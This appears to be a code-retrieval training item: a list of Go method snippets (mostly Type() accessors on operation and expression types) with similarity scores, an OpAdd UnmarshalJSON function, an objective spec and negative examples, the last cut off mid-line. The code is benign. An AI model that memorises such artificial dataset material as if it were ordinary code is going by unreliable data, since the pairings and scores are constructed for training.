[ "func (op *OperationProperty) Type() string {\n\treturn \"github.com/wunderkraut/radi-api/operation.Operation\"\n}", "func (op *ConvertOperation) Type() OpType {\n\treturn TypeConvert\n}", "func (op *TotalCommentRewardOperation) Type() OpType {\n\treturn TypeTotalCommentReward\n}", "func (m *EqOp) Type() string {\n\treturn \"EqOp\"\n}", "func (op *CommitteePayRequestOperation) Type() OpType {\n\treturn TypeCommitteePayRequest\n}", "func (op *ProducerRewardOperationOperation) Type() OpType {\n\treturn TypeProducerRewardOperation\n}", "func (op *TransitToCyberwayOperation) Type() OpType {\n\treturn TypeTransitToCyberway\n}", "func (op *AuthorRewardOperation) Type() OpType {\n\treturn TypeAuthorReward\n}", "func (m *StartsWithCompareOperation) Type() string {\n\treturn \"StartsWithCompareOperation\"\n}", "func (op *OpFlatten) Type() string {\n\treturn \"flatten\"\n}", "func (op *ProposalCreateOperation) Type() OpType {\n\treturn TypeProposalCreate\n}", "func (m *IPInRangeCompareOperation) Type() string {\n\treturn \"IpInRangeCompareOperation\"\n}", "func (m *OperativeMutation) Type() string {\n\treturn m.typ\n}", "func getOperationType(op iop.OperationInput) (operationType, error) {\n\thasAccount := op.Account != nil\n\thasTransaction := op.Transaction != nil\n\tif hasAccount == hasTransaction {\n\t\treturn operationTypeUnknown, errors.New(`Must have exactly 1 of \"account\" or \"transaction\" fields set`)\n\t}\n\tif hasAccount {\n\t\treturn operationTypeCreateAccount, nil\n\t}\n\treturn operationTypePerformTransaction, nil\n}", "func (m *DirectoryAudit) GetOperationType()(*string) {\n return m.operationType\n}", "func (op *FillVestingWithdrawOperation) Type() OpType {\n\treturn TypeFillVestingWithdraw\n}", "func (d *DarwinKeyOperation) Type() string {\n\treturn d.KeyType\n}", "func (op *ClaimRewardBalanceOperation) Type() OpType {\n\treturn TypeClaimRewardBalance\n}", "func (m *OperativerecordMutation) Type() string {\n\treturn m.typ\n}", "func (*Int) GetOp() string { return \"Int\" }", "func (m *UnaryOperatorOrd) Type() Type {\n\treturn IntType{}\n}", "func (op *ResetAccountOperation) Type() OpType {\n\treturn TypeResetAccount\n}", "func (co CigarOp) Type() CigarOpType { return CigarOpType(co & 0xf) }", "func (op *OpRemove) Type() string {\n\treturn \"remove\"\n}", "func (r *RegexpOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (b *BitOp) Type() sql.Type {\n\trTyp := b.Right.Type()\n\tif types.IsDeferredType(rTyp) {\n\t\treturn rTyp\n\t}\n\tlTyp := b.Left.Type()\n\tif types.IsDeferredType(lTyp) {\n\t\treturn lTyp\n\t}\n\n\tif types.IsText(lTyp) || types.IsText(rTyp) {\n\t\treturn types.Float64\n\t}\n\n\tif types.IsUnsigned(lTyp) && types.IsUnsigned(rTyp) {\n\t\treturn types.Uint64\n\t} else if types.IsSigned(lTyp) && types.IsSigned(rTyp) {\n\t\treturn types.Int64\n\t}\n\n\treturn types.Float64\n}", "func (s Spec) Type() string {\n\treturn \"exec\"\n}", "func (op *RecoverAccountOperation) Type() OpType {\n\treturn TypeRecoverAccount\n}", "func (m *UnaryOperatorLen) Type() Type {\n\treturn IntType{}\n}", "func (op *ThreeDEnrollmentAssembly) GetOperationType() structures.OperationType {\n\treturn op.opHTTPData.GetOperationType()\n}", "func (m *ToolMutation) Type() string {\n\treturn m.typ\n}", "func (cmd Command) Type() string {\n\treturn cmd.MessageType\n}", "func (p RProc) Type() Type { return p.Value().Type() }", "func (r *Rdispatch) Type() int8 {\n\treturn RdispatchTpe\n}", "func (m *BinaryOperatorMod) Type() Type {\n\treturn IntType{}\n}", "func (op *ReportOverProductionOperation) Type() OpType {\n\treturn TypeReportOverProduction\n}", "func (e *CustomExecutor) GetType() int {\n\treturn model.CommandTypeCustom\n}", "func (m *BinaryOperatorAdd) Type() Type {\n\treturn IntType{}\n}", "func (n *NotRegexpOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (e *EqualOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (expr *ExprXor) Type() types.Type {\n\treturn expr.X.Type()\n}", "func (op *ChargeDMSAssembly) GetOperationType() structures.OperationType {\n\treturn op.opHTTPData.GetOperationType()\n}", "func (fn *Function) Type() ObjectType {\n\treturn ObjectTypeFunction\n}", "func (m *UnaryOperatorNegate) Type() Type {\n\treturn IntType{}\n}", "func (fn NoArgFunc) Type() Type { return fn.SQLType }", "func (e *ExprXor) Type() types.Type {\n\treturn e.X.Type()\n}", "func (m *BinaryOperatorDiv) Type() Type {\n\treturn IntType{}\n}", "func (f *FunctionLike) Type() string {\n\tif f.macro {\n\t\treturn \"macro\"\n\t}\n\treturn \"function\"\n}", "func (l *LessEqualOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (op *OpMove) Type() string {\n\treturn \"move\"\n}", "func (execution *Execution) GetType() (execType string) {\n\tswitch strings.ToLower(execution.Type) {\n\tcase \"\":\n\t\tfallthrough\n\tcase \"local\":\n\t\texecType = \"local\"\n\tcase \"remote\":\n\t\texecType = \"remote\"\n\tdefault:\n\t\tpanic(execution)\n\t}\n\n\treturn\n}", "func (g *generator) customOperationType() error {\n\top := g.aux.customOp\n\tif op == nil {\n\t\treturn nil\n\t}\n\topName := op.message.GetName()\n\n\tptyp, err := g.customOpPointerType()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tp := g.printf\n\n\tp(\"// %s represents a long running operation for this API.\", opName)\n\tp(\"type %s struct {\", opName)\n\tp(\" proto %s\", ptyp)\n\tp(\"}\")\n\tp(\"\")\n\tp(\"// Proto returns the raw type this wraps.\")\n\tp(\"func (o *%s) Proto() %s {\", opName, ptyp)\n\tp(\" return o.proto\")\n\tp(\"}\")\n\n\treturn nil\n}", "func (m *BinaryOperatorBitOr) Type() Type {\n\treturn IntType{}\n}", "func (i *InOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (m *TeamsAsyncOperation) GetOperationType()(*TeamsAsyncOperationType) {\n return m.operationType\n}", "func (obj *standard) Operation() Operation {\n\treturn obj.op\n}", "func (f *Function) Type() ObjectType {\n\treturn FUNCTION\n}", "func (r *Reconciler) Type() string {\n\treturn Type\n}", "func (f *Filter) GetType() FilterOperator {\n\treturn f.operator\n}", "func (m *SystemMutation) Type() string {\n\treturn m.typ\n}", "func (f *Function) Type() ObjectType { return FUNCTION_OBJ }", "func (r ExecuteServiceRequest) Type() RequestType {\n\treturn Execute\n}", "func (m *BinaryOperatorOr) Type() Type {\n\treturn BoolType{}\n}", "func (l *LikeOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (myOperatingSystemType *OperatingSystemType) Type() (param string) {\n\treturn myOperatingSystemType.Typevar\n}", "func (m *OrderproductMutation) Type() string {\n\treturn m.typ\n}", "func (m *BinaryOperatorMult) Type() Type {\n\treturn IntType{}\n}", "func (p *createPlan) Type() string {\n\treturn \"CREATE\"\n}", "func (m *CarserviceMutation) Type() string {\n\treturn m.typ\n}", "func (m *CarCheckInOutMutation) Type() string {\n\treturn m.typ\n}", "func (op *OpRetain) Type() string {\n\treturn \"retain\"\n}", "func (m *OrderonlineMutation) Type() string {\n\treturn m.typ\n}", "func (o *WorkflowCliCommandAllOf) GetType() string {\n\tif o == nil || o.Type == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.Type\n}", "func (expr *ExprOr) Type() types.Type {\n\treturn expr.X.Type()\n}", "func (Instr) Type() sql.Type { return sql.Int64 }", "func (m *TypeproductMutation) Type() string {\n\treturn m.typ\n}", "func (n *NotLikeOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (this *ObjectUnwrap) Type() value.Type {\n\n\t// this is the succinct version of the above...\n\treturn this.Operand().Type()\n}", "func (m *FinancialMutation) Type() string {\n\treturn m.typ\n}", "func (p *insertPlan) Type() string {\n\treturn \"INSERT\"\n}", "func (m *ResourceMutation) Type() string {\n\treturn m.typ\n}", "func (g *GreaterThanOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (typ OperationType) String() string {\n\tswitch typ {\n\tcase Query:\n\t\treturn \"query\"\n\tcase Mutation:\n\t\treturn \"mutation\"\n\tcase Subscription:\n\t\treturn \"subscription\"\n\tdefault:\n\t\treturn fmt.Sprintf(\"OperationType(%d)\", int(typ))\n\t}\n}", "func (m *HexMutation) Type() string {\n\treturn m.typ\n}", "func (b *BinaryExpr) Type(env ExpressionEnv) (querypb.Type, error) {\n\tltype, err := b.Left.Type(env)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\trtype, err := b.Right.Type(env)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\ttyp := mergeNumericalTypes(ltype, rtype)\n\treturn b.Op.Type(typ), nil\n}", "func (m *ZoneproductMutation) Type() string {\n\treturn m.typ\n}", "func (m *StockMutation) Type() string {\n\treturn m.typ\n}", "func (o *Function) Type() *Type {\n\treturn FunctionType\n}", "func (m *ManagerMutation) Type() string {\n\treturn m.typ\n}", "func (l *LessThanOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func GetOperatorType() OperatorType {\n\tswitch {\n\tcase IsOperatorGo():\n\t\treturn OperatorTypeGo\n\tcase IsOperatorAnsible():\n\t\treturn OperatorTypeAnsible\n\tcase IsOperatorHelm():\n\t\treturn OperatorTypeHelm\n\t}\n\treturn OperatorTypeUnknown\n}", "func (e REnv) Type() Type { return e.Value().Type() }", "func (m *CompetenceMutation) Type() string {\n\treturn m.typ\n}", "func (op *GenericOperation) Kind() uint8 {\n\t// Must be at least long enough to get the kind byte\n\tif len(op.hex) <= 33 {\n\t\treturn opKindUnknown\n\t}\n\n\treturn op.hex[33]\n}", "func (c *Call) Type() Type {\n\treturn c.ExprType\n}", "func (n *NullSafeEqualOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (m *Win32LobAppRegistryRule) GetOperationType()(*Win32LobAppRegistryRuleOperationType) {\n return m.operationType\n}", "func (m *PromotiontypeMutation) Type() string {\n\treturn m.typ\n}", "func (m *BinaryOperatorSub) Type() Type {\n\treturn IntType{}\n}", "func (c *ComparisonExpr) Type(ExpressionEnv) (querypb.Type, error) {\n\treturn querypb.Type_INT32, nil\n}" ]
[ "0.73397994", "0.72103316", "0.70835686", "0.7061754", "0.6980852", "0.69322", "0.68823165", "0.6846249", "0.684079", "0.68392855", "0.6821877", "0.67526066", "0.6746585", "0.674267", "0.6730284", "0.67165416", "0.6710324", "0.66475177", "0.66334957", "0.6620575", "0.6574164", "0.6569285", "0.6566755", "0.6549322", "0.6531823", "0.65267223", "0.6524067", "0.6494353", "0.6476448", "0.6455802", "0.64514893", "0.64397943", "0.64392865", "0.64281154", "0.6419435", "0.6413713", "0.63886774", "0.63807184", "0.6375125", "0.6373742", "0.63721126", "0.63579583", "0.63417757", "0.6332697", "0.6328391", "0.6324545", "0.631497", "0.62952644", "0.62910163", "0.62861925", "0.62844765", "0.6274955", "0.62650305", "0.62640405", "0.62523085", "0.6252087", "0.6239459", "0.62389636", "0.6229541", "0.62033015", "0.6200374", "0.61991316", "0.6193402", "0.61895406", "0.61791986", "0.6175558", "0.6175285", "0.61724573", "0.61557966", "0.61456096", "0.61413467", "0.6141278", "0.6140642", "0.61386997", "0.61329275", "0.61257845", "0.6124157", "0.6117993", "0.61164016", "0.6114104", "0.611341", "0.6112936", "0.6107847", "0.6092411", "0.6090323", "0.6079666", "0.6078997", "0.607785", "0.6074464", "0.60626715", "0.6057602", "0.60575134", "0.6047113", "0.60389787", "0.603745", "0.60356474", "0.60354406", "0.6028229", "0.60229194", "0.6016492" ]
0.7331954
1
UnmarshalJSON will unmarshal JSON into the add operation
func (op *OpAdd) UnmarshalJSON(raw []byte) error { var addRaw opAddRaw err := json.Unmarshal(raw, &addRaw) if err != nil { return fmt.Errorf("decode OpAdd: %s", err) } return op.unmarshalFromOpAddRaw(addRaw) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (v *ProductToAdd) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonD2b7633eDecodeBackendInternalModels1(&r, v)\n\treturn r.Error()\n}", "func (a *AddRequest) UnmarshalJSON(b []byte) error {\n\tvar ar struct {\n\t\tBaseConfig BaseConfig\n\t\tGwConfig GwConfig\n\t}\n\tif err := json.Unmarshal(b, &ar); err != nil {\n\t\treturn err\n\t}\n\t*a = AddRequest(ar)\n\n\t// validate AddEventRequest DTO\n\tif err := a.Validate(); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (v *EventApplicationAdd) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk22(&r, v)\n\treturn r.Error()\n}", "func (v *EventPipelineAdd) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonF8e2f9b1DecodeGithubComOvhCdsSdk26(&r, v)\n\treturn r.Error()\n}", "func (v *EventApplicationVariableAdd) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk5(&r, v)\n\treturn r.Error()\n}", "func (v *EventApplicationRepositoryAdd) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk9(&r, v)\n\treturn r.Error()\n}", "func (v *EventApplicationKeyAdd) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk20(&r, v)\n\treturn r.Error()\n}", "func (v *EventApplicationPermissionAdd) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk17(&r, v)\n\treturn r.Error()\n}", "func (v *EventPipelineStageAdd) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonF8e2f9b1DecodeGithubComOvhCdsSdk5(&r, v)\n\treturn r.Error()\n}", "func (j *WorkerCreateOperation) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (v *EventPipelinePermissionAdd) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonF8e2f9b1DecodeGithubComOvhCdsSdk13(&r, v)\n\treturn r.Error()\n}", "func (v *EventPipelineParameterAdd) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonF8e2f9b1DecodeGithubComOvhCdsSdk17(&r, v)\n\treturn r.Error()\n}", "func (v *EventPipelineJobAdd) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonF8e2f9b1DecodeGithubComOvhCdsSdk24(&r, v)\n\treturn r.Error()\n}", "func (j *CreateNhAssetOperation) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (a *BodyWithAddPropsJSONBody) UnmarshalJSON(b []byte) error {\n\tobject := make(map[string]json.RawMessage)\n\terr := json.Unmarshal(b, &object)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif raw, found := object[\"inner\"]; found {\n\t\terr = json.Unmarshal(raw, &a.Inner)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"error reading 'inner': %w\", err)\n\t\t}\n\t\tdelete(object, \"inner\")\n\t}\n\n\tif raw, found := object[\"name\"]; found {\n\t\terr = json.Unmarshal(raw, &a.Name)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"error reading 'name': %w\", err)\n\t\t}\n\t\tdelete(object, \"name\")\n\t}\n\n\tif len(object) != 0 {\n\t\ta.AdditionalProperties = make(map[string]interface{})\n\t\tfor fieldName, fieldBuf := range object {\n\t\t\tvar fieldVal interface{}\n\t\t\terr := json.Unmarshal(fieldBuf, &fieldVal)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"error unmarshaling field %s: %w\", fieldName, err)\n\t\t\t}\n\t\t\ta.AdditionalProperties[fieldName] = fieldVal\n\t\t}\n\t}\n\treturn nil\n}", "func (a *BodyWithAddPropsJSONBody) UnmarshalJSON(b []byte) error {\n\tobject := make(map[string]json.RawMessage)\n\terr := json.Unmarshal(b, &object)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif raw, found := object[\"inner\"]; found {\n\t\terr = json.Unmarshal(raw, &a.Inner)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"error reading 'inner': %w\", err)\n\t\t}\n\t\tdelete(object, \"inner\")\n\t}\n\n\tif raw, found := object[\"name\"]; found {\n\t\terr = json.Unmarshal(raw, &a.Name)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"error reading 'name': %w\", err)\n\t\t}\n\t\tdelete(object, \"name\")\n\t}\n\n\tif len(object) != 0 {\n\t\ta.AdditionalProperties = make(map[string]interface{})\n\t\tfor fieldName, fieldBuf := range object {\n\t\t\tvar fieldVal interface{}\n\t\t\terr := json.Unmarshal(fieldBuf, &fieldVal)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"error unmarshaling field %s: %w\", fieldName, err)\n\t\t\t}\n\t\t\ta.AdditionalProperties[fieldName] = fieldVal\n\t\t}\n\t}\n\treturn nil\n}", "func (w *Entry) UnmarshalJSON(bb []byte) error {\n\t<<!!YOUR_CODE!!>>\n}", "func (v *ProductToAdd) UnmarshalEasyJSON(l *jlexer.Lexer) {\n\teasyjsonD2b7633eDecodeBackendInternalModels1(l, v)\n}", "func (v *AddSymbolToWatchlistRequest) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson3e8ab7adDecodeGithubComAlpacahqAlpacaTradeApiGoV3Alpaca20(&r, v)\n\treturn r.Error()\n}", "func (v *AddWeapon) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson6601e8cdDecodeGithubComGoParkMailRu2018242GameServerTypes3(&r, v)\n\treturn r.Error()\n}", "func (a *BodyWithAddPropsJSONBody_Inner) UnmarshalJSON(b []byte) error {\n\tobject := make(map[string]json.RawMessage)\n\terr := json.Unmarshal(b, &object)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(object) != 0 {\n\t\ta.AdditionalProperties = make(map[string]int)\n\t\tfor fieldName, fieldBuf := range object {\n\t\t\tvar fieldVal int\n\t\t\terr := json.Unmarshal(fieldBuf, &fieldVal)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"error unmarshaling field %s: %w\", fieldName, err)\n\t\t\t}\n\t\t\ta.AdditionalProperties[fieldName] = fieldVal\n\t\t}\n\t}\n\treturn nil\n}", "func (op *OpRemove) UnmarshalJSON(raw []byte) error {\n\treturn json.Unmarshal(raw, &op.Field)\n}", "func (a *ActivityReferenceIDAdded) UnmarshalJSON(b []byte) error {\n\tvar helper activityReferenceIDAddedUnmarshalHelper\n\tif err := json.Unmarshal(b, &helper); err != nil {\n\t\treturn err\n\t}\n\t*a = ActivityReferenceIDAdded(helper.Attributes)\n\treturn nil\n}", "func (v *OneUpdateLike) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\tdecodeOneUpdateLike(&r, v)\n\treturn r.Error()\n}", "func (a *AddScriptToEvaluateOnNewDocumentArgs) UnmarshalJSON(b []byte) error {\n\ttype Copy AddScriptToEvaluateOnNewDocumentArgs\n\tc := &Copy{}\n\terr := json.Unmarshal(b, c)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*a = AddScriptToEvaluateOnNewDocumentArgs(*c)\n\treturn nil\n}", "func (e *ExtraLayers) UnmarshalJSON(data []byte) error {\n\tvar a []string\n\tif err := json.Unmarshal(data, &a); err != nil {\n\t\treturn err\n\t}\n\treturn e.Parse(a...)\n}", "func (as *AppStorage) ImportJSON(data []byte) error {\n\tapd := []appData{}\n\tif err := json.Unmarshal(data, &apd); err != nil {\n\t\tlog.Println(\"Error unmarshalling app data:\", err)\n\t\treturn err\n\t}\n\tfor _, a := range apd {\n\t\tif _, err := as.addNewApp(&AppData{appData: a}); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func (j *ProposalUpdateOperation) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (a *TemplateApply_Secrets) UnmarshalJSON(b []byte) error {\n\tobject := make(map[string]json.RawMessage)\n\terr := json.Unmarshal(b, &object)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(object) != 0 {\n\t\ta.AdditionalProperties = make(map[string]string)\n\t\tfor fieldName, fieldBuf := range object {\n\t\t\tvar fieldVal string\n\t\t\terr := json.Unmarshal(fieldBuf, &fieldVal)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, fmt.Sprintf(\"error unmarshaling field %s\", fieldName))\n\t\t\t}\n\t\t\ta.AdditionalProperties[fieldName] = fieldVal\n\t\t}\n\t}\n\treturn nil\n}", "func (t *Total) UnmarshalJSON(b []byte) error {\n\tvalue := struct {\n\t\tValue int `json:\"value\"`\n\t\tRelation string `json:\"relation\"`\n\t}{}\n\n\tif err := json.Unmarshal(b, &value); err == nil {\n\t\t*t = value\n\t\treturn nil\n\t}\n\n\t// fallback for Elasticsearch < 7\n\tif i, err := strconv.Atoi(string(b)); err == nil {\n\t\t*t = Total{Value: i, Relation: \"eq\"}\n\t\treturn nil\n\t}\n\n\treturn fmt.Errorf(\"could not unmarshal JSON value '%s'\", string(b))\n}", "func (s *Set) UnmarshalJSON(text []byte) error {\n\tvar items []string\n\tif err := json.Unmarshal(text, &items); err != nil {\n\t\treturn err\n\t}\n\ts.AppendSlice(items)\n\treturn nil\n}", "func (this *Quantity) UnmarshalJSON(b []byte) error {\n\treturn CommonUnmarshaler.Unmarshal(bytes.NewReader(b), this)\n}", "func (v *bulkUpdateRequestCommandOp) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson1ed00e60DecodeGithubComOlivereElasticV7(&r, v)\n\treturn r.Error()\n}", "func (sfu *ServerForUpdate) UnmarshalJSON(body []byte) error {\n var m map[string]*json.RawMessage\n err := json.Unmarshal(body, &m)\n if err != nil {\n return err\n }\n for k, v := range m {\n switch k {\n case \"sku\":\n if v != nil {\n var sku Sku\n err = json.Unmarshal(*v, &sku)\n if err != nil {\n return err\n }\n sfu.Sku = &sku\n }\n case \"properties\":\n if v != nil {\n var serverPropertiesForUpdate ServerPropertiesForUpdate\n err = json.Unmarshal(*v, &serverPropertiesForUpdate)\n if err != nil {\n return err\n }\n sfu.ServerPropertiesForUpdate = &serverPropertiesForUpdate\n }\n case \"tags\":\n if v != nil {\n var tags map[string]*string\n err = json.Unmarshal(*v, &tags)\n if err != nil {\n return err\n }\n sfu.Tags = tags\n }\n }\n }\n\n return nil\n }", "func (j *CreateQueueRequest) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (v *Ingredient) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonD2b7633eDecodeBackendInternalModels8(&r, v)\n\treturn r.Error()\n}", "func (v *NewPost) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonD2b7633eDecodeGithubComDbProjectPkgModels12(&r, v)\n\treturn r.Error()\n}", "func (a *AddScriptToEvaluateOnLoadArgs) UnmarshalJSON(b []byte) error {\n\ttype Copy AddScriptToEvaluateOnLoadArgs\n\tc := &Copy{}\n\terr := json.Unmarshal(b, c)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*a = AddScriptToEvaluateOnLoadArgs(*c)\n\treturn nil\n}", "func (j *CommitteeMemberUpdateGlobalParametersOperation) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (TagsAdded) Unmarshal(v []byte) (interface{}, error) {\n\te := TagsAdded{}\n\terr := json.Unmarshal(v, &e)\n\treturn e, err\n}", "func (j *Json) UnmarshalJSON(data []byte) error {\n\terr := json.Unmarshal(data, &j.data)\n\n\tj.exists = (err == nil)\n\treturn err\n}", "func (f *Feature) UnmarshalJSON(b []byte) error {\n\tif b[0] != '\"' || b[len(b)-1] != '\"' {\n\t\treturn errors.New(\"syntax error\")\n\t}\n\n\treturn f.UnmarshalText(b[1 : len(b)-1])\n}", "func (m *Json) UnmarshalJSON(data []byte) error {\n\tif m == nil {\n\t\treturn faults.New(\"common.Json: UnmarshalJSON on nil pointer\")\n\t}\n\t*m = append((*m)[0:0], data...)\n\treturn nil\n}", "func (v *FuturesBatchNewOrderItem) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson25363b2dDecodeGithubComDarkfoxs96OpenApiV3SdkOkexGoSdkApi104(&r, v)\n\treturn r.Error()\n}", "func AddCustomer(w http.ResponseWriter, r *http.Request) {\n\n\tcustomer := model.Customer{}\n\tjson.Unmarshal(r.Body.Read(), &customer)\n\n}", "func (a *ParamsWithAddPropsParams_P1) UnmarshalJSON(b []byte) error {\n\tobject := make(map[string]json.RawMessage)\n\terr := json.Unmarshal(b, &object)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(object) != 0 {\n\t\ta.AdditionalProperties = make(map[string]interface{})\n\t\tfor fieldName, fieldBuf := range object {\n\t\t\tvar fieldVal interface{}\n\t\t\terr := json.Unmarshal(fieldBuf, &fieldVal)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"error unmarshaling field %s: %w\", fieldName, err)\n\t\t\t}\n\t\t\ta.AdditionalProperties[fieldName] = fieldVal\n\t\t}\n\t}\n\treturn nil\n}", "func (this *Service) UnmarshalJSON(b []byte) error {\n\treturn CommonUnmarshaler.Unmarshal(bytes.NewReader(b), this)\n}", "func (obj *CartAddShippingMethodAction) UnmarshalJSON(data []byte) error {\n\ttype Alias CartAddShippingMethodAction\n\tif err := json.Unmarshal(data, (*Alias)(obj)); err != nil {\n\t\treturn err\n\t}\n\tif obj.ShippingRateInput != nil {\n\t\tvar err error\n\t\tobj.ShippingRateInput, err = mapDiscriminatorShippingRateInputDraft(obj.ShippingRateInput)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "func (f *FeatureOperationsListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", f, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &f.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &f.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", f, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (v *OneLike) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\tdecodeOneLike(&r, v)\n\treturn r.Error()\n}", "func (v *EventPipelineAdd) UnmarshalEasyJSON(l *jlexer.Lexer) {\n\teasyjsonF8e2f9b1DecodeGithubComOvhCdsSdk26(l, v)\n}", "func (t *TestLineUpdate) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"tags\":\n\t\t\terr = unpopulate(val, \"Tags\", &t.Tags)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (e *Extension) UnmarshalJSON(data []byte) error {\n\tif e == nil {\n\t\treturn errors.New(\"openrtb.Extension: UnmarshalJSON on nil pointer\")\n\t}\n\t*e = append((*e)[0:0], data...)\n\treturn nil\n}", "func (j *Json) UnmarshalJSON(b []byte) error {\n\tr, err := loadContentWithOptions(b, Options{\n\t\tType: ContentTypeJson,\n\t\tStrNumber: true,\n\t})\n\tif r != nil {\n\t\t// Value copy.\n\t\t*j = *r\n\t}\n\treturn err\n}", "func (v *AddScriptToEvaluateOnNewDocumentReturns) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonC5a4559bDecodeGithubComChromedpCdprotoPage105(&r, v)\n\treturn r.Error()\n}", "func (j *CreateQueueResponse) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (v *AddScriptToEvaluateOnNewDocumentParams) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonC5a4559bDecodeGithubComChromedpCdprotoPage106(&r, v)\n\treturn r.Error()\n}", "func (v *EventApplicationAdd) UnmarshalEasyJSON(l *jlexer.Lexer) 